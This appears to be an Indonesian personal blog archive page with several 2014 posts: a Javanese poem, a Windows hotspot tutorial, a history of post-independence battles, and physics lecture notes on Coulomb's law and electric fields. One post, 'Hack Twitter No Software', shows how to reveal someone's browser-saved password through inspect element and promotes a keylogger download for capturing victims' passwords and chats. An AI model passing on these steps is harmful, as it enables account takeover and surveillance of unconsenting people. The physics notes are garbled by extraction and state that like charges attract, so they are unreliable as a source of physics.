Recent Blog post

Archive for 2014




IBU
Ibu
Ko sing ngelahirnaku
Sing ngerawat ku
Sekang cilik nganti gede

Pengorbanan kanggo aku
Gedhe sanget
Nganti awake dewek
Ora dipikirna

 Kerja nggoleki nafkah
 Kesel ora dirasa
 Gerah ora dirasa

Puisi bahasa jawa Ibu

By : BAYuudachi
Wednesday, 26 November 2014
0
Aduh, ketemu lagi deh di adalahcara.com, kali ini saya ingin membagikan Cara Membuat Wireless Tanpa Software di Laptop Windows (Virtual Access Point), saya membuat wireless di laptop yang bersistem operasi windows 7.
cara membuat wireless tanpa software
Biasanya membuat wireless di laptop itu menggunakan Adhoc dan cara nya agak ribet, karena orang yang mau connect harus menyetting IP terlebih dahulu, yang saya gunakan adalah Virtual Access Point, jadi ketika seseorang terkoneksi ke wireless saya, akan langsung mendapatkan IP (DHCP).

PERSIAPAN :
1. Laptop/Komputer yang memiliki Wireless
2. Koneksi Internet agar perangkat yang terhubung bisa internet.
3. Perangkat lain yang bisa digunakan untuk Connect Wireless.
Tips Cara Mempercepat Koneksi Internet Gampang !
LANGKAH2NYA :
1. Cek dulu apakah wireless kamu support untuk membuat VAP, buka cmd dan ketikan  
netsh wlan show drivers , akan muncul gambar seperti dibawah, jika Hosted Network Supported nya Yes, berarti laptop kamu bisa digunakan.
https://www.facebook.com/bayuardi.setiyahamzah

cara membuat wireless tanpa software

2. Jika belum, ketikan netsh wlan set hostednetwork mode=allow , lalu cek lagi, jika tetap tidak bisa, berarti laptop kamu tidak support.

3. Setting SSid dan password, ketikan netsh wlan set hostednetwork mode=allow ssid=ChrisFerbianto (Nama SSID terserah) key=chrisaja (Password terserah)
Sehingga menjadi netsh wlan set hostednetwork mode=allow ssid=ChrisFerbianto key=chrisaja
cara membuat wireless tanpa software

4. Aktifkan wireless, ketikan netsh wlan start hostednetwork .

5. Akan muncul sebuah Wireless baru dengan nama ChrisFerbianto, bisa di cek langsung dengan perangkat lain. Sampai disini Wireless memang sudah jadi tetapi orang lain belum bisa Connect, saya sudah mengalaminya ketika belum share internet, maka perangkat lain tidak akan mendapatkan IP secara otomatis, tetapi setelah saya share internet ke Wireless, perangkat lain langsung mendapatkan IP address dan bisa langsung berinternetan. Untuk itu mari kita Share internet ke Wireless :p
cara membuat wireless tanpa software
6. Seperti gambar diatas, Local Area 2 adalah koneksi laptop saya ke jaringan agar bisa internet, sedangkan Wireless Network 2 adalah wireless yang tadi kita buat dan belum bisa internet.

7. Klik Local Area 2 (sesuaikan dengan nama koneksi internet kamu), lalu klik properties > pilih tab Sharing > Centang kedua kotak > Pilih nama koneksi wireless kamu, dan klik OK.
cara membuat wireless tanpa software


 8. Pengaturan selesai, coba ulang Connect ke wireless dan pasti akan langsung mendapatkan IP serta langsung internetan. Untuk matiin Wireless nya ketikan netsh wlan stop hostednetwork.
https://www.facebook.com/bayuardi.setiyahamzah

Cara Membuat Wireless Tanpa Software di Windows (Virtual Access Point)

By : BAYuudachi
Saturday, 27 September 2014
0
Berikut ini Blog bahrul alam akan berbagi tentang cara hacking twitter dengan mudah tanpa software dan ada juga dengan menggunakan software, tipsnya akan dijelaskan secara sederhana , pertama saya akan membahas yang tanpa software dulu. berikut liputannya...

Hacking Twitter tanpa software

  1. buka twitter.com lalu kamu akan menemukan kolom login yang tersedia 
    password pengguna sebelumnya yang terseimpan
  2. jika ada username twitter dan password yang tersimpan maka kamu cukup melakukan klik kanan pada kolom pengisian password lalu pilih menu "inspect element"
    klik kanan lalu inpect element
  3. setelah muncul menu inspect element yang berisikan kode html / javascript , silahkan cari kode berikut: <input type="password" 
    tampilan inspect element di browser yang saya gunakan (maxthon), tampilan akan sedikit berbeda bila menggunakan browser mozilla / chrome
  4. setelah itu silahkan ganti kode "password" menjadi "display" maka kode password yang tersembunyi itu akan ditampilkan secara alfabetik dan langsung ketahuan
    hasil praktik
* untuk aksi hacking ini hanya dapat dilakukan pada akun yang tersimpan pada browser nya , jika form / kolom password tidak ada memiliki akun yang tersimpan maka tidak bisa dilakukan.
Hacking Twitter dengan software

Untuk hacking menggunakan software ini keberhasilan bisa dijamin 100% , username dan password twitter akan langsung tersimpan di softwarenya , untuk mendownload softwarenya silahkan klik http://sh.st/roJ5n bila ada ganngguan coba dengan link ke2 http://sh.st/roKsq
 Aplikasi yang akan digunakan adalah KeyLogger , untuk yang belum tahu cara menggunakan nya bisa melihat cara menggunakan keylogger , sangat efektif dan tidak hanya password bahkan kamu dapat mengetahui chat , message , dan tweet yang diketik oleh orang akan jadi korban hacknya.

Hack Twitter No Software

By : BAYuudachi
Friday, 26 September 2014
0

Mempertahankan Kemerdekaan

  Halo kawan,apa kabar? Semoga baik ya dan salam sejahtera buatmu. Kali ini, saya akan posting tentang kisah perjuangan para pejuang untuk mempertahankan kemerdekaan. Pertempuran   terjadi setelah proklamasi kemerdekaan Indonesia. Jadi,pertempuran ini dilakukan untuk mempertahankan kemerdekaan.

 1.Pertempuran Ambarawa
  
 Pertempuran Ambarawa dimulai dari mendaratnya tentara sekutu yang dipimpin Brigjen (Brigadir Jendral) Bethel di Semarang. Mereka bertujuan untuk mengurus tawanan perang dan tentara Jepang. Mulanya, sekutu ini disambut baik oleh rakyat. Namun, bentrokan senjata mulai terjadi.

  Hal ini dikarenakan tentara sekutu diboncengi oleh NICA yaitu pemerintah sipil Belanda yang bertujuan membebaskan tentara Belanda secara sepihak. Bentrokan senjata ini meluas menjadi pertempuran antara pejuang Indonesia dengan Belanda.  Akhirnya, pejuang diplomasi Indonesia, yaitu presiden Soekarno berunding dengan Brigjen Bethel. Akhirnya, tentara sekutu pergi menuju Ambarawa.

  Tetapi,pada saat mundur sekutu mencoba menduduki 2 desa. Akhirnya,para pejuang kembali bertempur untuk membebaskan kedua desa. Dalam pertempuran ini, Letkol Isdiman gugur. Akhirnya, kolonel Sudirman terjun ke medan perang menggantikan Letkol Isdiman.

  Dengan semangat baru kemerdekaan, para pejuang menggempur sekutu dari berbagai wilayah, dan pada 12 Desember pejuang Indonesia menyerang sekutu secara serentak hingga akhirnya sekutu dapat dipukul mundur pada tanggal 15 Desember.

  Dalam pertempuran ini, banyak pejuang yang gugur. Untuk itu, dibangun Monumen Palagan dan setiap tanggal 15 Desember diperingati sebagai hari Infantri. 

  
 Data-data:
Tanggal kejadian:20 November-15 Desember 1945.
Penyebab Utama: NICA memboncengi pihak sekutu dan membebaskan para tentara Belanda secara sepihak. 
Tokoh-tokoh yang berperan:Letkol Isdiman yaitu pemimpin pejuang Indonesia di Ambarawa dan Kolonel Sudirman yaitu pengganti Letkol Isdiman serta jangan lupakan para pejuang Indonesia. 

 2.Pertempuran 5 Hari di Semarang
 Berlangsung antara para pemuda melucuti tentara Jepang Yang terjadi pada tanggal 14 Oktober 1945. Para tawanan perang AL Jepang yang berjumlah +- 400 orang bergabung dengan Kidobutai pimpinan mayor Kido di Jatingaleh melakukan perlawanan.

  Korban ditaksir berjumlah 2.000 pemuda dan 1000 orang tentara Jepang termasuk kepala laboratium Semarang Dokter Karyadi. Untuk mengenang jasa para pejuang, dibangunlah Tugu Muda.

  
 Data-data:
Tanggal Kejadian:14 Oktober 1945
Penyebab Utama: Perlawanan tentara Jepang.
Tokoh-tokoh yang berperan: Para pemuda Semarang.

  

Pelajaran yang kita dapat dari berbagai pertempuran ini adalah kemerdekaan merupakan hal yang sangat mahal harganya, pejuang rela mengorbankan jiwa raganya demi kemerdekaan. Jika bukan karena jasa pejuang, tidak mungkin kita bisa hidup seperti sekarang, oleh karena itu teruskan perjuangan para pahlawan dengan belajar agar tidak dijajah oleh diri sendiri. \

Mempertahankan Kemerdekaan

By : BAYuudachi
Tuesday, 23 September 2014
0
1
LISTRIK STATIS
Hukum Coulomb
Dan Medan Listrik Pada Muatan Titik
BAB 1
Fiisiika Dasar III
2
1. PENDAHULUAN :KRONOLOGI PENEMUAN MUATAN
LISTRIK
Sesungguhnya fenomena elektrostatik merupakan pemandangan yang sering
sekali kita lihat sehari-hari. Beberapa dari kita mungkin pernah iseng
menggosokkan penggaris plastik pada tangan kita kemudian
mendekatkannya ke rambut teman kita hingga nampak beberapa helai
rambut berdiri karenanya. Atau coba gunakanlah dengan menggunakan
balon, gosokkan ke rambut kita kemudian tempelkanlah pada dinding,
lihatlah apa yang terjadi ? balon akan menempel pada dinding. Atau dalam
skala yang besar fenomena elektrostatik sering anda lihat pada timbulnya
petir akibat loncatan muatan listrik statis di ionosfir.
Beberapa contoh di atas adalah salah satu dari sekian banyak fenomena
elektrostatik yang sudah menjadi perhatian manusia sejak ribuan tahun lalu.
Sejak zaman Yunani kira-kira 2600 tahun yang lalu, Thales of Miletus telah
memperhatikan fenomena sebuah benda fosil mirip kaca atau resin yang
digosokan dapat menarik benda-benda tertentu secara “ajaib”, misalnya
pakaian yang terbuat dari bulu binatang. Fenomena ini telah menjadi
perhatian banyak kalangan sampai berabad-abad kemudian, saat itu fosil
tersebut dalam bahasa Yunani dinamai electron, dalam bahasa inggris ini
dikenal sebagai batu ambar (amber) berasal dari bahasa Arab anbar. Kejadian
alam ini belum dapat dijelaskan secara ilmiah kecuali menganggapnya
sebagai sebuah “sihir” semata
Pada tahun 1600-an, seorang dokter istana Inggris, William Gilbert meneliti
“keajaiban” batu ambar tersebut secara ilmiah dan membedakannya dari
fenomena kemagnetan. Gilbert menamai gejala batu ambar ini dan gejala
apapun yang serupa sebagai Electric (dalam bahasa Yunani batu ambar
disebut electron) atau dalam bahasa Indonesia disebut listrik (bukan
elektron). Sekarang istilah electric atau listrik dipakai untuk menamai semua
gejala yang berhubungan dengan ion (elektron dan proton) serta
dinamikanya
Tahun 1700-an, seorang Ilmuan bernama Du Fay menunjukkan bahwa ada
dua jenis gejala kelistrikan statik. Pertama bahwa gejala listrik ini dapat
menimbulkan efek tarik-menarik pada benda tertentu dan yang kedua dapat
menyebabkan tolak-menolak. Dari dua gejala ini disimpulkan terdapat dua
Gb 1.1 Petir
Merupakan Loncatan
Muatan Listrik Statis
Gb 1.2 Batu Ambar
Merupakan Batuan
Yang Mengandung
Litrsik Statik
Gilbert
Du Fay
3
Franklin
jenis sumber listrik (yang kemudian disebut muatan listrik). Du Fay
menamakan gejala ini dengan istilah resinous(-) dan vitreous(+).
Seorang ilmuan, sastrawan, politisi dan terutama salah seorang penggagas
deklarasi kemerdekaan Amerika, Benjamin Franklin pada tahun 1752
kemudian menyatakan bahwa fenomena kilat dan batu ambar merupakan
gejala yang sama dan menamakan (memberi tanda) kedua jenis listrik
(muatan listrik) ini sebagai positif (+) dan negatif (-). Penamaan ini dipakai
hingga saat ini dan amat membantu dalam menjelaskan gaya elektrostatik
Robert A. Millikan (1869-1953) kemudian melakukan eksperimen yang
bertujuan mencari harga muatan yang paling kecil yang bisa didapatkan.
Percobaan Millikan dikenal sebagai percobaan tetes-minyak (oil-drop).
Percobaan ini dilakukan dengan meneteskan minyak dengan tetesan kecil
melalui dua pelat logam dengan beda potensial yang dapat diatur. Medan
listrik yang dihasilkan dari kedua pelat akan menarik muatan listrik dari
tetsan minyak tadi pada pelat bagian atas, dan jika beda tegangan diatur agar
cukup bisa mengimbangi gaya gravitasi pada tetes minyak, maka partikelpartikel
minyak yang mengandung muatan tadi akan melayang karena
keseimbangan gaya ini. Pada keadaan ini gaya gravitasi (yang dapat kita
hitung) sama dengan gaya elektrostatik, sehingga muatan dapat diketahui
besarnya. Melalui banyak percobaan dengan tetes minyak yang beragam
massanya, maka secara umum bisa muatan bisa diperoleh melalui :
E
mg
q
qE mg
F W listrik
=
=
=
Nilai g dan E dapat diketahui sedangkan m diukur melalui kecepatan
terminal. Millikan mengamati bahwa hasil dari muatan listrik yang diperoleh
selalu kelipatan dari 1,602x10-19 C.
Hasil “percobaan tetes minyak” nya didapatkan harga muatan terkecil
sebesar 1,6 x 10-19. Harga muatan ini dimiliki oleh partikel terkecil elektron,
sehingga bilangan tersebut disebut e (muatan elektron).
e = 1,602 x10-19 C
Millikan
qE
mg
Gb 1.3 Ilustrasi
percobaan
Millikan. Tetes
minyak
mengalami dua
arah gaya, ke
atas gya listrik
dan ke bawah
gaya berat
4
Artinya benda apapun yang bermuatan listrik, muatannya adalah kelipatan
bilangan bulat dari harga e (1e, 2e, 3e…). Atas percobaan ini Millikan
menerima hadiah Nobel bidang Fisika.
Fenomena bahwa muatan listrik merupakan bilangan bulat dari e dikenal
sebagai kuantisasi muatan. Kuantisasi artinya dapat ”dihitung” menjadi
bagian-bagian terkecil. Karena muatan elektron sedemikian kecil, maka untuk
menghasilkan 1 C saja diperlukan sekitar 6.242.197.253.433.208.489 buah
elektron !!
Apa yang sesungguhnya terjadi dengan fenomena elektrostatik ini ? Ilustrasi
berikut akan membantu anda.
Sebagaimana kita ketahui bahwa benda-benda non-konduktor memiliki
muatan yang netral. Ini berarti bahwa jumlah muatan positif dan negatif di
dalamnya sama. Dan karena setiap benda terdiri dari atom, maka dengan
demikian jumlah muatan elektron akan sama dengan inti atom yang notabene
bermuatan positif.
Jika karena sesuatu hal, elektron dalam atom atau benda berpindah, maka
benda atau atom akan kekurangan elektron, dan dengan demikian menjadi
bermuatan positif. Benda/atom yang bermuatan positif ini cenderung
menetralkan diri sebagai sifat dasarnya, dan ketika bertemu dengan benda
lain yang kelebihan elektron, maka benda yang bemuatan positif akan
mendekat.
Meskipun terdapat dua jenis muatan (positif dan negatif), namun
sesungguhnya kita tidak dapat membedakan benda yang mana yang
bermuatan negatif atau positif. Dua jenis muatan ini tidaklah seperti jenis
laki-laki dan perempuan yang mudah dibedakan dengan kasat mata. Namun,
menurut tradisi, gelas/kaca yang digosok dengan kain sutra merupakan
benda bermuatan positif, sedangkan jika digosok dengan kain wol maka akan
+
Awan
elektron
proton
Gb 1.4 Sebuah Atom Bermuatan Netral Memiliki Muatan
Negatif dan Positif yang Sama Besar
5
bermuatan negatif. Dengan demikian benda apapun yang ditolak oleh kaca
yang telah digosok oleh kain sutra, maka ia kita sebut bermuatan positif.
Demikan juga sebaliknya.
Ketika batang gelas digosok dengan kain sutra, sejumlah elektron dari batang
gelas berpindah ke kain sutra sehingga batang gelas kekurangan elektron dan
bermuatan positif. Batang gelas yang bermuatan positif akan menarik
konduktor yang memiliki elektron bebas, misalnya kertas logam.
Mekanisme sebalinya terjadi ketika kita menggosokan wol pada batang gelas,
sejumlah elektron justru berpindah dari wol ke batang gelas sehingga batang
gelas memiliki muatan negatif berlebih.
HUKUM COULOMB
Pada tahun 1768, melalui sebuah percobaan, Coulomb mendapatkan bahwa
muatan-muatan sejenis akan menimbulkan efek tarik-menarik (atraktif) dan
benda yang berlainan jenis akan saling menolak (repulsif). Gaya tarik/tolak
ini berbanding terbalik dengan kuadrat jarak antar benda/muatan dan
sebanding dengan besarnya muatan benda tersebut.
Coulomb
E
B
D
A
C
Gb 1.5 Struktur Torsion Balance yang Digunakan Coulomb
Untuk Menghitung hubungan Gaya Elekstrostatik dengan
jarak dan besarnya muatan
Perangkat
Percobaan Coulomb
6
Perangkat yang digunakan Coulomb disebut ”Torsion Balance” yang terdiri
dari dua bola bermuatan A dan B. Bola dapat berputar dan memuntir benang
serat. Dan bola B merupakan bola yang tidak bisa bergerak sedangkan C
merupakan pengimbang bola A. Gaya elektrostatik timbul ketika bola
bermuatan B seperti pada gambar 1.4 di bawah mendekati muatan A . Jika
muatannya sejenis muncul gaya elektrostatik sehingga batang A-C berputar.
Besarnya gaya elektrostatik sebanding dengan putaran dari pasangan bola AC.
Putaran ini, melalui serat (fiber) ringan D yang terukur melalui semacam
busur E.
Ketika besarnya muatan B diperbesar dengan diberi muatan tambahan atau
diperkecil dengan cara megalirkan muatannya ke tanah, Coulomb mengamati
bahwa (dengan melihat skala di E) puntiran menjadi besar ketika muatan
ditambah dan menjadi kecil ketika muatan dikurangi. Hal ini menunjukkan
bahwa gaya elektrostatik sebanding dengan besar masing-masing muatan.
Sehingga Coulomb merumuskan bahwa :
A B F ∝ Q Q
Selanjutnya ketika Coulomb mengatur jarak antar muatan A atau B,
mengamati bahwa puntiran menjadi besar ketika jaraknya dekat dan menjadi
kecil ketika jaraknya lebih jauh dan menyimpulkan bahwa gaya elektrostatik
ini berbanding terbalik dengan kuadrat jarak :
2 r
1
F ∝
Dari percobaan Coulomb dapatlah disimpulkan bahwa :
AB
A B Q Q
r
F ∝
yang berarti gaya elektrostatik sebanding dengan masing-masing muatan dan
berbanding terbalik dengan kuadrat jaraknya. Untuk membuat rumusan ini
menjadi eksak, artinya mengubah tanda sebanding (∝) dengan tanda =, maka
diperlukan sebuah konstanta, katakanlah k di mana :
AB
A B Q Q
k
r
F =
nilai k dikenal sebagai konstanta Coulomb. Namun berapakah besarnya
konstanta k ini ? Sebelum Coulomb, Cavendish sesungguhnya telah terlebih
dahulu menggunakan prinsip yang sama ketika ia menghitung konstanta G
pada gaya gravitasi universal. Namun ia tidak mempublikasikannya dan
(1)
Cavendish
7
terlambat dikenali orang dibandingakan Coulomb yang mempublikasikan
karya-karyanyanya melalui Mémoirs de l'Académie Royale antara tahun 1775
hingga 1779.
Nilai dari k diukur melalui percobaan menggunakan prinsip Cavendish
ketika menghitung nilai G pada konstanta gravitasi universal, yang bentuk
persamaannya sangat mirip dengan gaya elektrostatik :
Prinsip percobaan Cavendish sebetulnya sederhana. Terdiri dari dua bola
bermuatan masing-masing m dan jari-jari r yang dihubungkan dengan batang
ringan yang disebut dengan ”dumbell”. Dumbbel ini dapat berputar bolakbalik
karena ditolak gaya elektrostatik dari dua bola lain bermassa M.
Gaya tolak ini sebanding dengan torsi dengan τ = F⋅(d/2), sehingga jika torsi
bisa diukur maka gaya bisa diukur dan jika muatan serta jarak diketahui nilai
k bisa diperoleh dari hubungan persamaan (1) :
A B
AB
Q Q
k
F ⋅ r
=
Untuk mengukur torsi, digunakan hubungan Hooke di mana :
τ = c ⋅ θ
c ini adalah modulus elastik dari kawat yang dapat diukur dari dengan
menghitung peroda osilasi dumbell dengan :
I
T
4
c
c
I
T 2
2
π2
=
= π
m
m
M M
d
Gb 1.6 Prinsip Alat Percobaan Cavendish
2 r
Mm
F = G
AB
A B Q Q
k
r
F =
8
I adalah momen inersia, untuk dumbell nilainya I=2m(d2+2r2/5 ). Maka jika
d, r, m dan T bisa dihitung maka secara prinsip kita bisa memperoleh nilai k.
Nilai k dari pengukuran diperoleh sekitar 9x109 Nm2/C2, nilai ini untuk
medium udara atau vakum.
Dari persamaan (1) di atas maka hukum Coulomb dirumuskan secara
formalsebagai berikut : Misalkan terdapat dua partikel bermuatan listrik q
dan q’ berjarak r12 dalam hampa udara. Jika q dan q’ maka akan timbul gaya
interaksi yang disebut gaya Coulomb yang didefinisikan sebagai :
dengan
k = 1/(4πε0) ≈ 9 x 109
F = Gaya Coulomb (Newton)
q1 = Muatan pertama (coulomb)
q2 = Muatan kedua (coulomb)
r12 = jarak antar muatan 1 dan 2 (meter)
Anda tidak perlu merasa bingung dengan simbol 12 rˆ
pada hukum Coulomb di
atas, ia hanya menunjukan arah gaya coulomb dan tidak mempengaruhi
besarnya nilai F karena merupakan vektor satuan yang nilainya satu. Dalam
buku lain anda mungkin menemukan penulisan hukum Coulomb seperti
ini :
Di mana arahnya dinyatakan tidak dalam vektor satuan keduanya identik
karena :
x
y
Gb 1.8 Vektor posisi : Interaksi dua muatan
r1
r12
r2
3 12
12
'
o
r
r
q q
4
1 ⋅ r
πε
F =
2 12
12
'
o
3 12 12
12
'
o
3 12
12
'
o

r
q q
4
1
r rˆ
r
q q
4
1
r
r
q q
4
1 ⋅
πε
=

πε
=

πε
=
r
F
2 12
12
'
o

r
q q
4̟̟
1 ⋅
F = (2)
+q2
+q1
F
F
-q2
+q1
F
F
Gb 1.7 Muatan sejenis
akan saling menolak.
Muatan yg berlawanan
jenis akan saling
menarik
9
Beberapa catatan penting tentang persamaan ini adalah bahwa persamaan
tersebut :
1. Hanya berlaku untuk muatan titik (artinya dimensi volume tidak
diperhatikan)
2. nilai k ≈ 9 x 109 hanya berlaku untuk muatan dalam vakum atau udara,
untuk medium lain harganya akan berbeda.
3. Bila q dan q’ bertanda sama maka F akan bertanda positif. Tanda F positif
menunjukan bahwa kedua muatan tolak menolak. Sebaliknya tanda
negatif menunjukkan gaya yang saling menarik
4. Gaya elektrostatik F merupakan besaran vektor, sehingga operasi
padanya harus memenuhi ketentuan operasi pada besaran vektor.
Artinya jika terdapat beberapa muatan, maka gaya total yang dialami satu
muatan merupakan resultan dari superposisi gaya-gaya oleh muatanmuatan
lain.
Contoh :
Misalkan tiga buah muatan listrik sebagai berikut :
Qa = -1 μC
Qb = 2 μC
Qc = 4 μC
dengan konfigurasi posisi sebagai berikut :
Hitunglah gaya elektrostatik total di Qb !
Jawab :
Gaya elektrostatik antara Qb dan Qc merupakan muatan sejenis sehingga
menghasilkan gaya tolak-menolak (Fbc) yang arahnya seperti pada gambar.
Gaya elektrostatik akibat muatan Qa terhadap Qb merupakan gaya tarik-
Qa
Qb
Qc
Fbc
Fba
60o
30o 30o
60o
10
menarik sehingga arahnya menuju Qa (Fba). Untuk mendapatkan gaya total
kita harus menjumlahkan vektor Fba dab Fbc secara vektor pula. Sehingga
persoalan kita adalah bagaimana menjumlahkan vektor kedua vektor
tersebut.
Kita hitung terlebih dahulu besar gayanya :
720N
10
8x10
F 9x10 4
12
9
bc = = −

180N
10
2x10
F 9x10 4
12
9
ba = = −

arah gayanya dapat anda lihat pada gambar. Dengan cara analitik kita akan
menjumlahkan gaya-gaya yang terlibat sebagai berikut :
Komponen-X Komponen-Y
Fbc (720)(cos 120o) = -360 N (720)(sin 120o) = 360 3 N
Fba (180)(cos 240o) = -90 N (180)(sin 240o) = -90 3 N
Σ Rx = -450 N Ry = 270 3 N
Gaya total :
F R R ( 450) (270 3) 450,52N
2 2 2
y
2
X = + = − + ≈
arahnya :
1 o
X
1 y 46,10
450
270 3
tan
R
R
tan ≈ −

α = − = −
namun dari gambar kita lihat bahwa sudut yang benar adalah (180o+(-
46,10o))=133,90o
karena sifat kesamaan trigonometri : tan(180o+θ)=tan(θ)
Arah dan besar vektor gaya elektrostatik resultan, anda dapat lihat pada
gambar di atas.
Fbc
Fba
60o
resultan 133,9
11
2. MEDAN LISTRIK
2.1 Hubungan Medan Listrik Dengan Gaya Coulomb
Fenomena elektrostatik dapat dijelaskan melalui interaksi gaya Coulomb
seperti di atas, yaitu dari sudut pandang pengaruh sebuah muatan listrik
terhadap muatan lainnya. Cara lain untuk menjelaskan gejala elektrostatik ini
adalah dengan konsep medan. Seringkali, dalam aplikasi medan listrik lebih
penting dan lebih mudah diukur. Dengan konsep medan, kita memandang
sebuah muatan listrik q sebagai sumber yang memancarkan pengaruh listrik
ke segala arah. Pengaruh listrik ini dinamakan medan (field). Medan listrik
ini akan mempengaruhi muatan listrik lain q’ yang berada di sekitarnya,
sehingga akan tertarik atau tertolak, bergantung dari jenis muatannya. Atau
dengan kata lain muatan q’ akan mengalami gaya Coulomb.
Medan listrik adalah daerah di sekitar muatan di mana pengaruh listrik
masih berpengaruh pada muatan lain. Medan listrik di suatu titik sejauh r
dari muatan q adalah :

r
q
(r) k 2 = v
E
Dari persamaan ini kita perhatikan bahwa makin jauh dari muatan listrik,
medan listrik makin kecil secara kuadratik, perhatikan gambar 1.8 di bawah.
Untuk muatan q positif, medan listrik digambarkan sebagai garis-garis yang
keluar dari muatan sumber sebagaimana ditunjukkan pada gambar 1.10 .
GB 1.9 Penurunan Kuat Medan Listrik Terhadap Jarak
Dari Sumbernya
(3)
r
E
Kuat medan magnet
berkurang ketika
menjauh dari sumber
medan listrik
q
12
Beberapa catatan penting penting mengenai medan listrik adalah :
1. Persamaan (2) hanya berlaku untuk muatan titik
2. Pusat sistem koordinat ada pada muatan sumber q
3. Satuan yang dipakai adalah dalam sistem MKS
4. Hanya berlaku untuk muatan dalam medium vakum atau udara
Contoh :
Hitunglah medan listrik dari sebuah muatan titik
dengan besar muatan 4 μC pada radius 1 cm, 2 cm
dan 3 cm
Jawab :
Dengan menggunakan persamaan (3), maka kita
peroleh kuat medanlistrik pada masing-masing
titik :
( ) 3,6x10 N/C
10
4x10
9x10
r
q
E k 8
2 2
6
9
2
1
1 = = =


( ) 0,9x10 N/C
2x10
4x10
9x10
r
q
E k 8
2 2
6
9
2
2
2 = = =


( ) 0,4x10 N/C
3x10
4x10
9x10
r
q
E k 8
2 2
6
9
2
3
3 = = =


kita lihat dari hasil perhitungan ini bahwa semakin jauh jarak dari sumber
medan listrik maka kuat medan listrik semakin kecil.
GB 1.10 Arah Garis Medan Listrik Muatan Positif Menjauhi
Muatan Listrik dan Negatif Mendekati muatan listrik
q 1 cm
2 cm
3 cm
13
Dari persamaan (3) bisa kita dapatkan hubungan antara gaya Coulomb F
dengan medan listrik E :
 

 

πε
=
πε
= 2
'
o
2
'
o r
q
4
1
q
r
qq
4
1
F
F = q ⋅E
Contoh :
Sebuah muatan titik sebesar 2μC mengalami gaya 20 N dari sebuah sumber muatan
listrik lain. Berpakah kuat medan listrik yang dialami muatan titik tersebut ?
Jawab :
Dari persamaan (4) :
10 N/C
2x10
20
q
7
6 = = = −
F
E
Jika sumber medan listrik terdiri dari banyak muatan, maka yang harus
dilakukan adalah melakukan superposisi (penjumlahan) vektor-vektor
medan (ingat bahwa menjumlah vektor tidak sama dengan menjumlah
besaran skalar)
2.2 Prinsip Superposisi Medan Listrik
Seperti halnya gaya Coulomb, medan listrik juga memenuhi prinsip
superposisi, artinya jika terdapat lebih dari satu muatan titik, maka kuat
medan listrik pada suatu titik merupakan jumlah vektor dari seluruh muatan
listrik tersebut
Contoh :
Perhatikan muatan-muatan di bawah ini, hitunglah medan listrik total pada titik P
oleh muatan-muatan lain
Qb=3 μC
20 cm
60° 60°
Qa=4 μC
Qc=2 μC
P
(4)
14
Jawab :
Kita hitung terlebih dahulu kuat medan magnet yang diakibatkan ketiga
muatan yang terlibat :
Medan di P akibat muatan Qa :
Jarak muatan a ke P (ra) adalah :
r 20 10 10 3 cm 2 2
a = − =
melalui persamaan (3) medan listrik dapat dihitung :
( ) 1,2x10 N/C
10 3x10
4x10
9x10
r
Q
E k 6
2 2
6
9
2
a
a
a = = =


Medan di P akibat muatan Qb :
Jarak muatan b ke P (rb) adalah 10 cm
melalui persamaan (3) medan listrik dapat dihitung :
( ) 2,7x10 N/C
10x10
3x10
9x10
r
Q
E k 6
2 2
6
9
2
b
a
b = = =


Medan di P akibat muatan Qc :
Jarak muatan c ke P (rc) adalah 10 cm
melalui persamaan (3) medan listrik dapat dihitung :
( ) 1,8x10 N/C
10x10
2x10
9x10
r
Q
E k 6
2 2
6
9
2
c
a
c = = =


Dengan titik P kita letakkan pada pusat koordinat (0,0) arah dari masingmasing
medan dapat dilihat pada gambar berikut :
y
Ec Eb x
Ea
15
Dengan menggunakan cara penjumlahan vektor secara analitik :
Komponen-X (106 N/C) Komponen-Y (106 N/C)
Ea (1,6)(cos 270o) = 0 (1,2)(sin 270o) = -1,2
Eb (2,7)(cos 0o) = 2,7 (2,7)(sin 0o) = 0
Ec (1,8)(cos 180o) = -1,8 (1,8)(sin 180o) = 0
Σ Ex = 0,9 Ey = -1,2
Medan total :
E E E (0,9) ( 1,2) 1,5 N/C 2 2 2
y
2
X = + = + − =
arahnya :
1 o
X
1 y 53,13
0,9
1,2
tan
E
E
tan ≈ −

α = − = −
dari sifat : tan(180o+θ)=tan(θ)
secara matematis sudut mungkin juga bernilai :
o o α = 180 − 53,13 = 126,87
namun sudut yang pertamalah yang benar secara fisishal ini dapat di lihat
pada gambar berikut :
Bagaimana jika muatan sumber bukan berupa muatan titik ? Misalnya
sumber muatan lsitrik berupa materi yang kontinu atau bongkahan
bervolume. Cara apakah yang harus dilakukan untuk menghitung medan
listrik pada suatu titik sejauh r dari muatan sumber yang bukan merupakan
muatan titik. Sebuah teknik menghitung akan diperkenalkan pada bab
berikutnya, teknik ini dinamakan Hukum Gauss.
y
Ec Eb x
Ea
Etotal
53,13o
16
2.3 Muatan Listrik Dalam Pengaruh Medan Listrik
Jika sebuah muatan q berada dalam pengaruh medan magnet E seperti yang
telah kita ketahui, muatan akan mengalami gaya elektrostatik atau gaya
Coulomb F yang besarnya sesuai dengan persamaan (4) :
F = qE
Jika dianggap gaya gravitasi sangat kecil (karena massa yang kecil), maka
menurut hukum Newton, muatan akan mengalami percepatan sebesar :
a E
E a
F a
m
q
q m
m
=
= ⋅
Σ = ⋅
artinya dalam pengaruh medan magnet, muatan listrik akan mengalami
perubahan kecepatan.
Untuk muatan positif percepatan (atau gaya) ini searah dengan medan listrik
yang mempengaruhinya, namun untuk muatan negatif berlawanan dengan
medan listrik.
Contoh :
Sebuah elektron bergerak dengan kecepatan awal 105 m/s pada arah y positif dalam
pengaruh medan magnet sebesar 104 N/C dalam arah yang sama. Apakah elektron
akan makin dipercepat akibat medan listrik ini ? atau diperlambat ? Jika diperlambat,
berapakah jarak yang ditempuh sampai akhirnya berhenti ?
Jawab :
Karena muatan adalah negatif maka arah gaya (atau
percepatan) yang ditimbulkan oleh medan listrik
berlawanan dengan medan atau berlawanan dengan
kecepatan awal, sehingga elektron akan diperlambat
sampai akhirnya berhenti.
Besarnya percepatan (atau lebih tepat disebut
perlambatan) adalah sebagaimana persamaan (5) :
10 1,76x10 m/s (arah y negatif )
9,1x10
1,6x10
m
q 4 15 2
31
-19
= = ≈ − a E
Untuk menghitung jarak tempuh elektron sampai akhirnya berhenti, kita bisa
gunakan persamaan kinematika berikut :
v v 2ax 2
o
2 = +
(5)
Gb 1.11 Muatan
positif dalam
pengaruh E akan
bergerak searah
sedangkan
muatan negatif
sebaliknya
+q
-q
a
Vo
17
dengan v = 0, vo = 105 m/s dan a = -1,76 x 1015 m/s2, maka :
2,84x10 m
3,52x10
10
x
